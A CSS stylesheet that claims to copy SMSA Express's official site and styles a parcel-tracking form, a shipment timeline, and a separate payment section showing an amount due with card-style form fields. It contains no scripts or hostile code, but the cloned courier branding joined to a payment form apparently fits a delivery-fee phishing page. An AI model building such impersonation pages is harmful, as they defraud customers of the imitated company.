/* ============================================
   SMSA EXPRESS - COMPLETE CSS FROM OFFICIAL SITE
   ============================================ */

* {
    margin: 0;
    box-sizing: border-box
}

body, html {
    height: 100%
}

.page-wrap {
    min-height: 100%;
    padding-bottom: 3rem;
    overflow: hidden
}

.no-pad {
    padding: 0
}

.page-wrap:after {
    content: "";
    display: block
}

.site-footer {
    background: #153c3f
}

body {
    background: #fff;
    font-family: 'URW Geometric Arabic', 'Segoe UI', -apple-system, BlinkMacSystemFont, sans-serif;
    color: #373737;
    font-size: 16px;
    font-weight: 500
}

p {
    margin-bottom: inherit
}

.flex_me {
    display: flex;
    flex-wrap: wrap
}

.col {
    flex-basis: 0;
    -ms-flex-positive: 1;
    flex-grow: 1;
    min-width: 0;
    max-width: 100%
}

.col_6 {
    flex: 0 0 50%;
    padding: 1rem
}

.col_100 {
    flex: 0 0 100%;
    padding: 1rem;
    background: #fff
}

.container {
    max-width: 1300px;
    margin: auto;
    padding: 0 15px
}

.justify_end {
    justify-content: flex-end;
    align-items: center
}

.bold {
    font-weight: 700
}

.simi_bold {
    font-weight: 500
}

.light {
    font-weight: 100
}

img {
    max-width: 100%
}

/* ============================================
   TRACKING SECTION - CUSTOM STYLES
   ============================================ */

.track-section {
    margin: 3rem 0;
    padding: 2.5rem;
    background: #fff;
    border-radius: 3px;
    box-shadow: 0 0 25px rgba(0, 0, 0, 0.09);
    position: relative;
    z-index: 7;
}

.track-title {
    font-size: 28px;
    font-weight: 700;
    color: #373737;
    margin-bottom: 0.5rem;
    display: flex;
    align-items: center;
    gap: 10px;
}

.info-icon {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 20px;
    height: 20px;
    border: 1px solid #ccc;
    border-radius: 50%;
    font-size: 12px;
    color: #999;
    cursor: help;
}

.track-description {
    font-size: 20px;
    color: #373737;
    margin-bottom: 1.5rem;
}

.track-form {
    display: flex;
    gap: 1rem;
    margin-bottom: 1.3rem;
    align-items: center;
}

.track-input {
    flex: 1;
    height: 48px;
    padding: 0 1rem;
    border: 1px solid #728a8c;
    border-radius: 3px;
    font-size: 16px;
    font-family: inherit;
}

.track-input:focus {
    outline: none;
    border-color: #146e82;
    box-shadow: 0 0 0 3px rgba(20, 110, 130, 0.1);
}

.btn-track {
    height: 48px;
    padding: 0 2rem;
    background: #00c8e1;
    color: #153c3f;
    border: none;
    border-radius: 3px;
    font-weight: 700;
    font-size: 16px;
    cursor: pointer;
    transition: all 0.3s ease;
    font-family: inherit;
}

.btn-track:hover {
    background: #00a0b8;
    box-shadow: 0 0 0 2px #153c3f;
}

.track-note {
    font-size: 14px;
    color: #666;
}

/* ============================================
   TRACKING RESULTS
   ============================================ */

.tracking-results {
    display: none;
    margin-top: 3rem;
    padding: 2rem;
    background: #f9f9f9;
    border-radius: 3px;
    border-left: 4px solid #00c8e1;
}

.tracking-results.active {
    display: block;
}

.shipment-info {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    gap: 2rem;
    margin-bottom: 2rem;
    padding-bottom: 2rem;
    border-bottom: 1px solid #e0e0e0;
}

.info-item {
    display: flex;
    flex-direction: column;
}

.info-label {
    font-weight: 600;
    color: #666;
    font-size: 12px;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    margin-bottom: 0.5rem;
}

.info-value {
    font-size: 18px;
    font-weight: 700;
    color: #153c3f;
}

.status-message {
    padding: 1rem;
    background: #e8f5f7;
    border-left: 4px solid #00c8e1;
    border-radius: 3px;
    color: #146e82;
    font-weight: 600;
    margin-bottom: 1.5rem;
}

/* ============================================
   TRACKING TIMELINE
   ============================================ */

.tracking-timeline {
    position: relative;
    padding-left: 2rem;
}

.tracking-timeline::before {
    content: '';
    position: absolute;
    left: 0;
    top: 0;
    bottom: 0;
    width: 2px;
    background: linear-gradient(to bottom, #00c8e1, #e0e0e0);
}

.timeline-item {
    position: relative;
    margin-bottom: 2rem;
    padding-bottom: 1rem;
}

.timeline-item::before {
    content: '';
    position: absolute;
    left: -2.5rem;
    top: 0;
    width: 12px;
    height: 12px;
    background: #00c8e1;
    border: 3px solid #fff;
    border-radius: 50%;
    box-shadow: 0 0 0 2px #00c8e1;
}

.timeline-item.completed::before {
    background: #00c8e1;
}

.timeline-item.pending::before {
    background: #e0e0e0;
}

.timeline-time {
    font-size: 12px;
    color: #999;
    font-weight: 600;
    margin-bottom: 0.25rem;
}

.timeline-status {
    font-size: 16px;
    font-weight: 700;
    color: #153c3f;
    margin-bottom: 0.5rem;
}

.timeline-location {
    font-size: 14px;
    color: #666;
}

.timeline-coordinates {
    font-size: 12px;
    color: #999;
    margin-top: 0.25rem;
}

/* ============================================
   PAYMENT SECTION
   ============================================ */

.payment-section {
    display: none;
    margin-top: 3rem;
    padding: 2.5rem;
    background: #fff;
    border-radius: 3px;
    box-shadow: 0 0 25px rgba(0, 0, 0, 0.09);
}

.payment-section.active {
    display: block;
}

.payment-title {
    font-size: 24px;
    font-weight: 700;
    color: #153c3f;
    margin-bottom: 1.5rem;
}

.payment-amount {
    background: #f0f9fa;
    padding: 1.5rem;
    border-radius: 3px;
    margin-bottom: 2rem;
    border-left: 4px solid #00c8e1;
}

.amount-label {
    font-size: 12px;
    color: #666;
    text-transform: uppercase;
    font-weight: 600;
    letter-spacing: 0.5px;
    margin-bottom: 0.5rem;
}

.amount-value {
    font-size: 32px;
    font-weight: 700;
    color: #00c8e1;
}

.payment-form {
    display: flex;
    flex-direction: column;
    gap: 1.5rem;
}

.form-group {
    display: flex;
    flex-direction: column;
}

.form-label {
    font-weight: 600;
    color: #333;
    margin-bottom: 0.5rem;
    font-size: 14px;
}

.form-input {
    padding: 0.75rem 1rem;
    border: 1px solid #ddd;
    border-radius: 3px;
    font-size: 14px;
    font-family: inherit;
    transition: all 0.3s ease;
}

.form-input:focus {
    outline: none;
    border-color: #00c8e1;
    box-shadow: 0 0 0 3px rgba(0, 200, 225, 0.1);
}

.form-input:disabled {
    background: #f5f5f5;
    color: #999;
    cursor: not-allowed;
}

.form-row {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 1.5rem;
}

.btn-submit {
    padding: 1rem;
    background: #00c8e1;
    color: #153c3f;
    border: none;
    border-radius: 3px;
    font-weight: 700;
    font-size: 16px;
    cursor: pointer;
    transition: all 0.3s ease;
    font-family: inherit;
    margin-top: 1rem;
}

.btn-submit:hover {
    background: #00a0b8;
    box-shadow: 0 0 0 2px #153c3f;
}

.btn-submit:disabled {
    background: #ccc;
    cursor: not-allowed;
}

/* ============================================
   ALERT MESSAGES
   ============================================ */

.alert {
    padding: 1rem;
    border-radius: 3px;
    margin-bottom: 1.5rem;
    display: none;
}

.alert.active {
    display: block;
}

.alert.success {
    background: #e8f5e9;
    border-left: 4px solid #4caf50;
    color: #2e7d32;
}

.alert.error {
    background: #ffebee;
    border-left: 4px solid #f44336;
    color: #c62828;
}

.alert.warning {
    background: #fff3e0;
    border-left: 4px solid #ff9800;
    color: #e65100;
}

.alert.info {
    background: #e3f2fd;
    border-left: 4px solid #2196f3;
    color: #1565c0;
}

/* ============================================
   BUTTONS - GENERAL STYLES
   ============================================ */

.btn, a.btn:link, a.btn:visited, button.btn, input[type=submit].btn {
    background: #eee;
    color: #153c3f;
    font-weight: 700;
    height: 48px;
    padding: 0 3rem;
    line-height: 48px;
    text-decoration: none;
    font-size: 20px;
    display: inline-block;
    transition: all 0.3s cubic-bezier(0.45, 0.05, 0.55, 0.95);
    cursor: pointer;
    border: none;
    font-family: 'URW Geometric Arabic', 'Segoe UI', sans-serif;
}

a.primary_btn:link, a.primary_btn:visited, button.primary_btn, input[type=button].primary_btn, input[type=submit].primary_btn {
    background: #00c8e1
}

a.primary_btn:hover, button.primary_btn:hover, input[type=button].primary_btn:hover, input[type=submit].primary_btn:hover {
    box-shadow: 0 0 0 2px #153c3f
}

.linear_btn, a.linear_btn:link, a.linear_btn:visited, button.linear_btn {
    background: 0 0;
    color: #fff;
    box-shadow: 0 0 0 2px #fff
}

a.linear_btn:hover, button.linear_btn:hover {
    box-shadow: 0 0 0 2px #00c8e1;
    color: #00c8e1
}

/* ============================================
   RESPONSIVE DESIGN
   ============================================ */

@media (max-width: 768px) {
    .container {
        padding: 0 10px;
    }

    .track-section {
        padding: 1.5rem;
    }

    .track-form {
        flex-direction: column;
    }

    .btn-track {
        width: 100%;
    }

    .shipment-info {
        grid-template-columns: 1fr;
        gap: 1rem;
    }

    .form-row {
        grid-template-columns: 1fr;
    }

    .payment-section {
        padding: 1.5rem;
    }

    .track-title {
        font-size: 20px;
    }

    .track-description {
        font-size: 16px;
    }
}

@media (max-width: 480px) {
    .container {
        padding: 0 8px;
    }

    .track-section {
        padding: 1rem;
        margin: 1rem 0;
    }

    .track-title {
        font-size: 18px;
    }

    .track-description {
        font-size: 14px;
    }

    .track-input {
        height: 44px;
        font-size: 14px;
    }

    .btn-track {
        height: 44px;
        font-size: 14px;
        padding: 0 1.5rem;
    }

    .info-item {
        margin-bottom: 1rem;
    }

    .info-value {
        font-size: 16px;
    }

    .tracking-timeline {
        padding-left: 1.5rem;
    }

    .timeline-item::before {
        left: -2rem;
    }

    .payment-section {
        padding: 1rem;
    }

    .payment-title {
        font-size: 18px;
    }

    .amount-value {
        font-size: 24px;
    }

    .form-input {
        font-size: 13px;
        padding: 0.65rem 0.8rem;
    }

    .form-row {
        gap: 1rem;
    }

    .btn-submit {
        padding: 0.8rem;
        font-size: 14px;
    }
}

/* ============================================
   ANIMATIONS
   ============================================ */

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateY(10px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

@keyframes slideIn {
    from {
        opacity: 0;
        transform: translateX(-20px);
    }
    to {
        opacity: 1;
        transform: translateX(0);
    }
}

.timeline-item {
    animation: slideIn 0.5s ease forwards;
}

.timeline-item:nth-child(1) { animation-delay: 0.1s; }
.timeline-item:nth-child(2) { animation-delay: 0.2s; }
.timeline-item:nth-child(3) { animation-delay: 0.3s; }
.timeline-item:nth-child(4) { animation-delay: 0.4s; }
.timeline-item:nth-child(5) { animation-delay: 0.5s; }

/* ============================================
   PRINT STYLES
   ============================================ */

@media print {
    .track-form,
    .btn-track,
    .payment-section {
        display: none;
    }

    .tracking-results {
        box-shadow: none;
        border: 1px solid #ddd;
    }
}
